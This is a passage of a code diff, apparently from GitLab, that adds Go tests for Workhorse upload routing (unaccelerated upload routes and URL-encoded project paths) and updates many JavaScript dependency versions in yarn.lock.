+ resource := strings.TrimRight(tt.resource, "/")
+ // Validate %2F characters haven't been unescaped
+ require.Equal(t, resource+"/authorize", r.URL.String())
+ },
+ func(r *http.Request) {
if tt.signedFinalization {
expectSignedRequest(t, r)
}
@@ -186,6 +211,55 @@ func multipartBodyWithFile() (io.Reader, string, error) {
return result, writer.FormDataContentType(), writer.Close()
}
+func unacceleratedUploadTestServer(t *testing.T) *httptest.Server {
+ return testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ require.False(t, strings.HasSuffix(r.URL.Path, "/authorize"))
+ require.Empty(t, r.Header.Get(upload.RewrittenFieldsHeader))
+
+ w.WriteHeader(200)
+ })
+}
+
+func TestUnacceleratedUploads(t *testing.T) {
+ tests := []struct {
+ method string
+ resource string
+ }{
+ {"POST", `/api/v4/projects/group/subgroup/project/wikis/attachments`},
+ {"POST", `/api/v4/projects/group/project/wikis/attachments`},
+ {"PUT", "/api/v4/projects/group/subgroup/project/packages/nuget/v1/files"},
+ {"PUT", "/api/v4/projects/group/project/packages/nuget/v1/files"},
+ {"POST", `/api/v4/projects/group/subgroup/project/packages/pypi`},
+ {"POST", `/api/v4/projects/group/project/packages/pypi`},
+ {"POST", `/api/v4/projects/group/subgroup/project/packages/pypi`},
+ {"POST", `/api/v4/projects/group/project/issues/30/metric_images`},
+ {"POST", `/api/v4/projects/group/subgroup/project/issues/30/metric_images`},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.resource, func(t *testing.T) {
+ ts := unacceleratedUploadTestServer(t)
+
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ reqBody, contentType, err := multipartBodyWithFile()
+ require.NoError(t, err)
+
+ req, err := http.NewRequest(tt.method, ws.URL+tt.resource, reqBody)
+ require.NoError(t, err)
+
+ req.Header.Set("Content-Type", contentType)
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+ require.Equal(t, 200, resp.StatusCode)
+
+ resp.Body.Close()
+ })
+ }
+}
+
func TestBlockingRewrittenFieldsHeader(t *testing.T) {
canary := "untrusted header passed by user"
testCases := []struct {
@@ -433,6 +507,11 @@ func TestPackageFilesUpload(t *testing.T) {
{"PUT", "/api/v4/projects/2412/packages/generic/mypackage/0.0.1/myfile.tar.gz"},
{"PUT", "/api/v4/projects/2412/packages/debian/libsample0_1.2.3~alpha2-1_amd64.deb"},
{"POST", "/api/v4/projects/2412/packages/rubygems/api/v1/gems/sample.gem"},
+ {"PUT", "/api/v4/projects/group%2Fproject/packages/conan/v1/files"},
+ {"PUT", "/api/v4/projects/group%2Fproject/packages/maven/v1/files"},
+ {"PUT", "/api/v4/projects/group%2Fproject/packages/generic/mypackage/0.0.1/myfile.tar.gz"},
+ {"PUT", "/api/v4/projects/group%2Fproject/packages/debian/libsample0_1.2.3~alpha2-1_amd64.deb"},
+ {"POST", "/api/v4/projects/group%2Fproject/packages/rubygems/api/v1/gems/sample.gem"},
}
for _, r := range routes {
diff --git a/yarn.lock b/yarn.lock
index 6e636ca1729..0d312032ce2 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -867,10 +867,10 @@
resolved "https://registry.yarnpkg.com/@gitlab/at.js/-/at.js-1.5.7.tgz#1ee6f838cc4410a1d797770934df91d90df8179e"
integrity sha512-c6ySRK/Ma7lxwpIVbSAF3P+xiTLrNTGTLRx4/pHK111AdFxwgUwrYF6aVZFXvmG65jHOJHoa0eQQ21RW6rm0Rg==
-"@gitlab/eslint-plugin@8.1.0":
- version "8.1.0"
- resolved "https://registry.yarnpkg.com/@gitlab/eslint-plugin/-/eslint-plugin-8.1.0.tgz#a98ac4219da3316d30ee717ef0603c8fa0c4d5d8"
- integrity sha512-PU2ldrF59dhunMcEMzSqwG9RfTZRPmW8/pXwcXhJNi61g9lkdHQn8CiQGazepDlBwjEHl5habv/cs52gUc06+w==
+"@gitlab/eslint-plugin@8.2.0":
+ version "8.2.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/eslint-plugin/-/eslint-plugin-8.2.0.tgz#caccf2777febd89420c0225e000a789376ecaba2"
+ integrity sha512-14VJEOmAx8MpsxlYdloWD9KG9+AVX8HLKWAo2M5cz57Ji6AiJtdCAfFCrVetcvzDyeiFA7gt4k1fSKbTjuVgBQ==
dependencies:
babel-eslint "^10.0.3"
eslint-config-airbnb-base "^14.2.1"
@@ -897,26 +897,26 @@
stylelint-declaration-strict-value "1.7.7"
stylelint-scss "3.18.0"
-"@gitlab/svgs@1.185.0":
- version "1.185.0"
- resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.185.0.tgz#15b5c6d680b5fcfc2deb2a5decef427939e34ed7"
- integrity sha512-1XIyOm8MyTZi8H0v9WVnqVDziTLH8Q5H/fKfBj+nzprHNYvJj2fvz+EV9N5luF90KTzlQf1QYCbHWe2zKLZuUw==
+"@gitlab/svgs@1.189.0":
+ version "1.189.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.189.0.tgz#1ba972bfbcf46e52321c50fd57d00315535c3d1b"
+ integrity sha512-64QcwA0E1aR9cK6PepGiH494de7oIrXRydaWWS0RH2OtSnd0OfzfcZtZI6V0yLpJRgE3uZZ3sK95kFu+vFXH9g==
"@gitlab/tributejs@1.0.0":
version "1.0.0"
resolved "https://registry.yarnpkg.com/@gitlab/tributejs/-/tributejs-1.0.0.tgz#672befa222aeffc83e7d799b0500a7a4418e59b8"
integrity sha512-nmKw1+hB6MHvlmPz63yPwVs1qQkycHwsKgxpEbzmky16Y6mL4EJMk3w1b8QlOAF/AIAzjCERPhe/R4MJiohbZw==
-"@gitlab/ui@28.9.1":
- version "28.9.1"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-28.9.1.tgz#7d4d4502ff09fca19ab815504f80afbf03dd2fc1"
- integrity sha512-+JqkpwzkKBnxo4KkC8XSPEJ5Au9y+TIOE7w9I5o+04krgWCbZKNqaiKZkg2IqSlo/sZSfvihXZMhEVc/JXf7HQ==
+"@gitlab/ui@29.6.0":
+ version "29.6.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-29.6.0.tgz#5e8369d7aeab56edab570ef148dbc289b51901fc"
+ integrity sha512-bomMDBzS/S+ztFgAC23oDjMEK3cFZ3UcKJGs3iKXtCTKIxtzXKrL0LWYxkidywIwWm9L+1udgsx/GTKoVW0ItQ==
dependencies:
"@babel/standalone" "^7.0.0"
"@gitlab/vue-toasted" "^1.3.0"
bootstrap-vue "2.13.1"
copy-to-clipboard "^3.0.8"
- dompurify "^2.2.6"
+ dompurify "^2.2.7"
echarts "^4.9.0"
highlight.js "^10.6.0"
js-beautify "^1.8.8"
@@ -1165,6 +1165,11 @@
consola "^2.10.1"
node-fetch "^2.6.0"
+"@polka/url@^1.0.0-next.9":
+ version "1.0.0-next.12"
+ resolved "https://registry.yarnpkg.com/@polka/url/-/url-1.0.0-next.12.tgz#431ec342a7195622f86688bbda82e3166ce8cb28"
+ integrity sha512-6RglhutqrGFMO1MNUXp95RBuYIuc8wTnMAV5MUhLmjTOy78ncwOw7RgeQ/HeymkKXRhZd0s2DNrM1rL7unk3MQ==
+
"@rails/actioncable@^6.0.3-4":
version "6.1.0"
resolved "https://registry.yarnpkg.com/@rails/actioncable/-/actioncable-6.1.0.tgz#f336f25450b1bc43b99bc60557a70b6e6bb1d3d2"
@@ -1286,20 +1291,20 @@
dom-accessibility-api "^0.5.1"
pretty-format "^26.4.2"
-"@toast-ui/editor@^2.5.1":
- version "2.5.1"
- resolved "https://registry.yarnpkg.com/@toast-ui/editor/-/editor-2.5.1.tgz#42671c52ca4b97c84f684d09c2966711b36f41a7"
- integrity sha512-LVNo/YaNItUemEaRFvFAVn7w/0U7yxEheMdn6GEGxqo727rRZD1MH7OTDVq6NeQ+P93VwFpa0i9GGRBhNNEbPQ==
+"@toast-ui/editor@^2.5.2":
+ version "2.5.2"
+ resolved "https://registry.yarnpkg.com/@toast-ui/editor/-/editor-2.5.2.tgz#0637e1bbdb205c1ab53b6d3722ced26399b2f0ca"
+ integrity sha512-ldTOMCVKpSIummf9X3JqPuOUMjlAxyFePniHChmCMst9j+ZbHxdalOhEUDV/ASrq4jkjgRm4m0nCCUvjdljZSw==
dependencies:
"@types/codemirror" "0.0.71"
codemirror "^5.48.4"
-"@toast-ui/vue-editor@^2.5.1":
- version "2.5.1"
- resolved "https://registry.yarnpkg.com/@toast-ui/vue-editor/-/vue-editor-2.5.1.tgz#0a221d74d5305c8ca20cb11d9eb8ff9206455cfc"
- integrity sha512-vD0FowDrlMPfR4m1Sd91YthkMLul4lTdiwl1QcDYX+JhIzxXMuQhFABezny/TvKJLxkCkHGpt7XsTjXvMUa04w==
+"@toast-ui/vue-editor@^2.5.2":
+ version "2.5.2"
+ resolved "https://registry.yarnpkg.com/@toast-ui/vue-editor/-/vue-editor-2.5.2.tgz#0b54107a196471eacb18aabb7100101606917b27"
+ integrity sha512-zF33zKsG4wusL/OgwIUHWWDAXHuNx94tL1Jzgww9SbJ/mF23WRbvbOT4tvhpr6KZhbIbUUwzxwhPQabYSLjNRw==
dependencies:
- "@toast-ui/editor" "^2.5.1"
+ "@toast-ui/editor" "^2.5.2"
"@types/aria-query@^4.2.0":
version "4.2.0"
@@ -1740,6 +1745,11 @@ acorn-walk@^7.1.1:
resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-7.2.0.tgz#0de889a601203909b0fbe07b8938dc21d2e967bc"
integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==
+acorn-walk@^8.0.0:
+ version "8.0.2"
+ resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-8.0.2.tgz#d4632bfc63fd93d0f15fd05ea0e984ffd3f5a8c3"
+ integrity sha512-+bpA9MJsHdZ4bgfDcpk0ozQyhhVct7rzOmO0s1IIr0AGGgKBljss8n2zp11rRP2wid5VGeh04CgeKzgat5/25A==
+
acorn@^6.3.0, acorn@^6.4.1:
version "6.4.2"
resolved "https://registry.yarnpkg.com/acorn/-/acorn-6.4.2.tgz#35866fd710528e92de10cf06016498e47e39e1e6"
@@ -1750,6 +1760,11 @@ acorn@^7.1.1, acorn@^7.4.0:
resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
+acorn@^8.0.4:
+ version "8.1.0"
+ resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.1.0.tgz#52311fd7037ae119cbb134309e901aa46295b3fe"
+ integrity sha512-LWCF/Wn0nfHOmJ9rzQApGnxnvgfROzGilS8936rqN/lfcYkY9MYZzdMqN+2NJ4SlTc+m5HiSa+kNfDtI64dwUA==
+
after@0.8.2:
version "0.8.2"
resolved "https://registry.yarnpkg.com/after/-/after-0.8.2.tgz#fedb394f9f0e02aa9768e702bda23b505fae7e1f"
@@ -2400,16 +2415,6 @@ better-assert@~1.0.0:
dependencies:
callsite "1.0.0"
-bfj@^6.1.1:
- version "6.1.1"
- resolved "https://registry.yarnpkg.com/bfj/-/bfj-6.1.1.tgz#05a3b7784fbd72cfa3c22e56002ef99336516c48"
- integrity sha512-+GUNvzHR4nRyGybQc2WpNJL4MJazMuvf92ueIyA0bIkPRwhhQu3IfZQ2PSoVPpCBJfmoSdOxu5rnotfFLlvYRQ==
- dependencies:
- bluebird "^3.5.1"
- check-types "^7.3.0"
- hoopy "^0.1.2"
- tryer "^1.0.0"
-
big.js@^5.2.2:
version "5.2.2"
resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
@@ -2437,7 +2442,7 @@ block-stream@*:
dependencies:
inherits "~2.0.0"
-bluebird@^3.1.1, bluebird@^3.3.0, bluebird@^3.5.1, bluebird@^3.5.5, bluebird@~3.5.0:
+bluebird@^3.1.1, bluebird@^3.3.0, bluebird@^3.5.5, bluebird@~3.5.0:
version "3.5.5"
resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.5.5.tgz#a8d0afd73251effbbd5fe384a77d73003c17a71f"
integrity sha512-5am6HnnfN+urzt4yfg7IgTbotDjIT/u8AJpEt0sIU9FtXfVeezXAPKswrG+xKUCOYAINpSdgZVDU6QFh+cuH3w==
@@ -2898,11 +2903,6 @@ charenc@~0.0.1:
resolved "https://registry.yarnpkg.com/charenc/-/charenc-0.0.2.tgz#c0a1d2f3a7092e03774bfa83f14c0fc5790a8667"
integrity sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=
-check-types@^7.3.0:
- version "7.3.0"
- resolved "https://registry.yarnpkg.com/check-types/-/check-types-7.3.0.tgz#468f571a4435c24248f5fd0cb0e8d87c3c341e7d"
- integrity sha1-Ro9XGkQ1wkJI9f0MsOjYfDw0Hn0=
-
chokidar@^2.1.8, chokidar@^3.0.0, chokidar@^3.2.2, chokidar@^3.4.0, chokidar@^3.4.1:
version "3.4.0"
resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.4.0.tgz#b30611423ce376357c765b9b8f904b9fba3c0be8"
@@ -3132,6 +3132,11 @@ commander@2, commander@^2.10.0, commander@^2.18.0, commander@^2.19.0, commander@
resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.0.tgz#d58bb2b5c1ee8f87b0d340027e9e94e222c5a422"
integrity sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==
+commander@^6.2.0:
+ version "6.2.1"
+ resolved "https://registry.yarnpkg.com/commander/-/commander-6.2.1.tgz#0792eb682dfbc325999bb2b84fddddba110ac73c"
+ integrity sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==
+
commander@~2.9.0:
version "2.9.0"
resolved "https://registry.yarnpkg.com/commander/-/commander-2.9.0.tgz#9c99094176e12240cb22d6c5146098400fe0f7d4"
@@ -3382,10 +3387,10 @@ core-js-pure@^3.0.0:
resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.6.5.tgz#c79e75f5e38dbc85a662d91eea52b8256d53b813"
integrity sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==
-core-js@^3.1.3, core-js@^3.9.1:
- version "3.9.1"
- resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.9.1.tgz#cec8de593db8eb2a85ffb0dbdeb312cb6e5460ae"
- integrity sha512-gSjRvzkxQc1zjM/5paAmL4idJBFzuJoo+jDjF1tStYFMV2ERfD02HhahhCGXUyHxQRG4yFKVSdO6g62eoRMcDg==
+core-js@^3.1.3, core-js@^3.10.2:
+ version "3.10.2"
+ resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.10.2.tgz#17cb038ce084522a717d873b63f2b3ee532e2cd5"
+ integrity sha512-W+2oVYeNghuBr3yTzZFQ5rfmjZtYB/Ubg87R5YOmlGrIb+Uw9f7qjUbhsj+/EkXhcV7eOD3jiM4+sgraX3FZUw==
core-js@~2.3.0:
version "2.3.0"
@@ -4270,7 +4275,7 @@ domhandler@^2.3.0:
dependencies:
domelementtype "1"
-dompurify@^2.2.6, dompurify@^2.2.7:
+dompurify@^2.2.7:
version "2.2.7"
resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.2.7.tgz#a5f055a2a471638680e779bd08fc334962d11fd8"
integrity sha512-jdtDffdGNY+C76jvodNTu9jt5yYj59vuTUyx+wXdzcSwAGTYZDAQkQ7Iwx9zcGrA4ixC1syU4H3RZROqRxokxg==
@@ -4300,10 +4305,10 @@ duplexer3@^0.1.4:
resolved "https://registry.yarnpkg.com/duplexer3/-/duplexer3-0.1.4.tgz#ee01dd1cac0ed3cbc7fdbea37dc0a8f1ce002ce2"
integrity sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=
-duplexer@^0.1.1:
- version "0.1.1"
- resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.1.tgz#ace6ff808c1ce66b57d1ebf97977acb02334cfc1"
- integrity sha1-rOb/gIwc5mtX0ev5eXessCM0z8E=
+duplexer@^0.1.2:
+ version "0.1.2"
+ resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
+ integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
duplexify@^3.4.2, duplexify@^3.6.0:
version "3.7.1"
@@ -4350,11 +4355,6 @@ ee-first@1.1.1:
resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-ejs@^2.6.1:
- version "2.6.1"
- resolved "https://registry.yarnpkg.com/ejs/-/ejs-2.6.1.tgz#498ec0d495655abc6f23cd61868d926464071aa0"
- integrity sha512-0xy4A/twfrRCnkhfk8ErDi5DqdAsAqeGxht4xkCUrsvhhbQNs7E+4jV0CN7+NKIY0aHE72+XvqtBIXzD31ZbXQ==
-
electron-to-chromium@^1.3.634:
version "1.3.642"
resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.642.tgz#8b884f50296c2ae2a9997f024d0e3e57facc2b94"
@@ -4703,10 +4703,10 @@ eslint-plugin-jest@^23.8.2:
dependencies:
"@typescript-eslint/experimental-utils" "^2.5.0"
-eslint-plugin-no-jquery@2.5.0:
- version "2.5.0"
- resolved "https://registry.yarnpkg.com/eslint-plugin-no-jquery/-/eslint-plugin-no-jquery-2.5.0.tgz#6c12e3aae172bfd3363b7ac8c3f3e944704867f4"
- integrity sha512-RrQ380mUJJKdjgpQ/tZAJ3B3W1n3LbVmULooS2Pv5pUDcc5uVHVSJMTdUlsbvQyfo6hWP2LJ4FbOoDzENWcF7A==
+eslint-plugin-no-jquery@2.6.0:
+ version "2.6.0"
+ resolved "https://registry.yarnpkg.com/eslint-plugin-no-jquery/-/eslint-plugin-no-jquery-2.6.0.tgz#7892cb7c086f7813156bca6bc48429825428e9eb"
+ integrity sha512-xC7pbNHJMdyxqhzcNMRrmC5/tbt1T4KCKXjOqUpKm/CaRryGKS5iWztzWPrL0KwyI3R3ub6goHFmIQS19f+mZA==
eslint-plugin-promise@^4.2.1:
version "4.2.1"
@@ -4761,10 +4761,10 @@ eslint-visitor-keys@^2.0.0:
resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.0.0.tgz#21fdc8fbcd9c795cc0321f0563702095751511a8"
integrity sha512-QudtT6av5WXels9WjIM7qz1XD1cWGvX4gGXvp/zBn9nXG02D0utdU3Em2m/QjTnrsk6bBjmCygl3rmj118msQQ==
-eslint@7.21.0:
- version "7.21.0"
- resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.21.0.tgz#4ecd5b8c5b44f5dedc9b8a110b01bbfeb15d1c83"
- integrity sha512-W2aJbXpMNofUp0ztQaF40fveSsJBjlSCSWpy//gzfTvwC+USs/nceBrKmlJOiM8r1bLwP2EuYkCqArn/6QTIgg==
+eslint@7.24.0:
+ version "7.24.0"
+ resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.24.0.tgz#2e44fa62d93892bfdb100521f17345ba54b8513a"
+ integrity sha512-k9gaHeHiFmGCDQ2rEfvULlSLruz6tgfA8DEn+rY9/oYPFFTlz55mM/Q/Rij1b2Y42jwZiK3lXvNTw6w6TXzcKQ==
dependencies:
"@babel/code-frame" "7.12.11"
"@eslint/eslintrc" "^0.4.0"
@@ -4783,7 +4783,7 @@ eslint@7.21.0:
file-entry-cache "^6.0.1"
functional-red-black-tree "^1.0.1"
glob-parent "^5.0.0"
- globals "^12.1.0"
+ globals "^13.6.0"
ignore "^4.0.6"
import-fresh "^3.0.0"
imurmurhash "^0.1.4"
@@ -4791,7 +4791,7 @@ eslint@7.21.0:
js-yaml "^3.13.1"
json-stable-stringify-without-jsonify "^1.0.1"
levn "^0.4.1"
- lodash "^4.17.20"
+ lodash "^4.17.21"
minimatch "^3.0.4"
natural-compare "^1.4.0"
optionator "^0.9.1"
@@ -4981,7 +4981,7 @@ exports-loader@^0.7.0:
loader-utils "^1.1.0"
source-map "0.5.0"
-express@^4.16.3, express@^4.17.1:
+express@^4.17.1:
version "4.17.1"
resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
@@ -5150,13 +5150,13 @@ file-entry-cache@^6.0.0, file-entry-cache@^6.0.1:
dependencies:
flat-cache "^3.0.4"
-file-loader@^5.1.0:
- version "5.1.0"
- resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-5.1.0.tgz#cb56c070efc0e40666424309bd0d9e45ac6f2bb8"
- integrity sha512-u/VkLGskw3Ue59nyOwUwXI/6nuBCo7KBkniB/l7ICwr/7cPNGsL1WCXUp3GB0qgOOKU1TiP49bv4DZF/LJqprg==
+file-loader@^6.2.0:
+ version "6.2.0"
+ resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-6.2.0.tgz#baef7cf8e1840df325e4390b4484879480eebe4d"
+ integrity sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==
dependencies:
- loader-utils "^1.4.0"
- schema-utils "^2.5.0"
+ loader-utils "^2.0.0"
+ schema-utils "^3.0.0"
fileset@^2.0.3:
version "2.0.3"
@@ -5166,11 +5166,6 @@ fileset@^2.0.3:
glob "^7.0.3"
minimatch "^3.0.3"
-filesize@^3.6.1:
- version "3.6.1"
- resolved "https://registry.yarnpkg.com/filesize/-/filesize-3.6.1.tgz#090bb3ee01b6f801a8a8be99d31710b3422bb317"
- integrity sha512-7KjR1vv6qnicaPMi1iiTcI85CyYwRO/PSFCu6SvqL8jN2Wjt/NIYQTFtFs7fSDCYOstUkEWIQGFUg5YZQfjlcg==
-
fill-range@^4.0.0:
version "4.0.0"
resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
@@ -5624,6 +5619,13 @@ globals@^12.1.0:
dependencies:
type-fest "^0.8.1"
+globals@^13.6.0:
+ version "13.8.0"
+ resolved "https://registry.yarnpkg.com/globals/-/globals-13.8.0.tgz#3e20f504810ce87a8d72e55aecf8435b50f4c1b3"
+ integrity sha512-rHtdA6+PDBIjeEvA91rpqzEvk/k3/i7EeNQiryiWuJH0Hw9cpyJMAt2jtbAwUaRdhD+573X4vWw6IcjKPasi9Q==
+ dependencies:
+ type-fest "^0.20.2"
+
globby@^11.0.2:
version "11.0.2"
resolved "https://registry.yarnpkg.com/globby/-/globby-11.0.2.tgz#1af538b766a3b540ebfb58a32b2e2d5897321d83"
@@ -5736,13 +5738,12 @@ growly@^1.3.0:
resolved "https://registry.yarnpkg.com/growly/-/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081"
integrity sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=
-gzip-size@^5.0.0:
- version "5.0.0"
- resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-5.0.0.tgz#a55ecd99222f4c48fd8c01c625ce3b349d0a0e80"
- integrity sha512-5iI7omclyqrnWw4XbXAmGhPsABkSIDQonv2K0h61lybgofWa6iZyvrI3r2zsJH4P8Nb64fFVzlvfhs0g7BBxAA==
+gzip-size@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-6.0.0.tgz#065367fd50c239c0671cbcbad5be3e2eeb10e462"
+ integrity sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==
dependencies:
- duplexer "^0.1.1"
- pify "^3.0.0"
+ duplexer "^0.1.2"
handle-thing@^2.0.0:
version "2.0.0"
@@ -5914,11 +5915,6 @@ homedir-polyfill@^1.0.1:
dependencies:
parse-passwd "^1.0.0"
-hoopy@^0.1.2:
- version "0.1.4"
- resolved "https://registry.yarnpkg.com/hoopy/-/hoopy-0.1.4.tgz#609207d661100033a9a9402ad3dea677381c1b1d"
- integrity sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==
-
hosted-git-info@^2.1.4:
version "2.8.8"
resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.8.tgz#7539bd4bc1e0e0a895815a2e0262420b12858488"
@@ -7844,10 +7840,10 @@ lodash.values@^4.3.0:
resolved "https://registry.yarnpkg.com/lodash.values/-/lodash.values-4.3.0.tgz#a3a6c2b0ebecc5c2cba1c17e6e620fe81b53d347"
integrity sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=
-lodash@^4.0.0, lodash@^4.17.10, lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@~4.17.10:
- version "4.17.20"
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.20.tgz#b44a9b6297bcb698f1c51a3545a2b3b368d59c52"
- integrity sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==
+lodash@^4.0.0, lodash@^4.17.10, lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@~4.17.10:
+ version "4.17.21"
+ resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
+ integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
log-symbols@^2.1.0:
version "2.2.0"
@@ -8194,10 +8190,10 @@ merge2@^1.3.0:
resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
-mermaid@^8.9.0:
- version "8.9.0"
- resolved "https://registry.yarnpkg.com/mermaid/-/mermaid-8.9.0.tgz#e569517863ab903aa5389cd746b68ca958a8ca7c"
- integrity sha512-J582tyE1vkdNu4BGgfwXnFo4Mu6jpuc4uK96mIenavaak9kr4T5gaMmYCo/7edwq/vTBkx/soZ5LcJo5WXZ1BQ==
+mermaid@^8.9.2:
+ version "8.9.2"
+ resolved "https://registry.yarnpkg.com/mermaid/-/mermaid-8.9.2.tgz#40bb2052cc6c4feaf5d93a5e527a8d06d0bacea7"
+ integrity sha512-XWEaraDRDlHZexdeHSSr/MH4VJAOksRSPudchi69ecZJ7IUjjlzHsg32n4ZwJUh6lFO+NMYLHwHNNYUyxIjGPg==
dependencies:
"@braintree/sanitize-url" "^3.1.0"
d3 "^5.7.0"
@@ -8259,17 +8255,17 @@ miller-rabin@^4.0.0:
bn.js "^4.0.0"
brorand "^1.0.1"
-mime-db@1.44.0, "mime-db@>= 1.40.0 < 2":
- version "1.44.0"
- resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.44.0.tgz#fa11c5eb0aca1334b4233cb4d52f10c5a6272f92"
- integrity sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==
+mime-db@1.47.0, "mime-db@>= 1.40.0 < 2":
+ version "1.47.0"
+ resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.47.0.tgz#8cb313e59965d3c05cfbf898915a267af46a335c"
+ integrity sha512-QBmA/G2y+IfeS4oktet3qRZ+P5kPhCKRXxXnQEudYqUaEioAU1/Lq2us3D/t1Jfo4hE9REQPrbB7K5sOczJVIw==
-mime-types@^2.1.12, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
- version "2.1.27"
- resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.27.tgz#47949f98e279ea53119f5722e0f34e529bec009f"
- integrity sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==
+mime-types@^2.1.12, mime-types@^2.1.27, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
+ version "2.1.30"
+ resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.30.tgz#6e7be8b4c479825f85ed6326695db73f9305d62d"
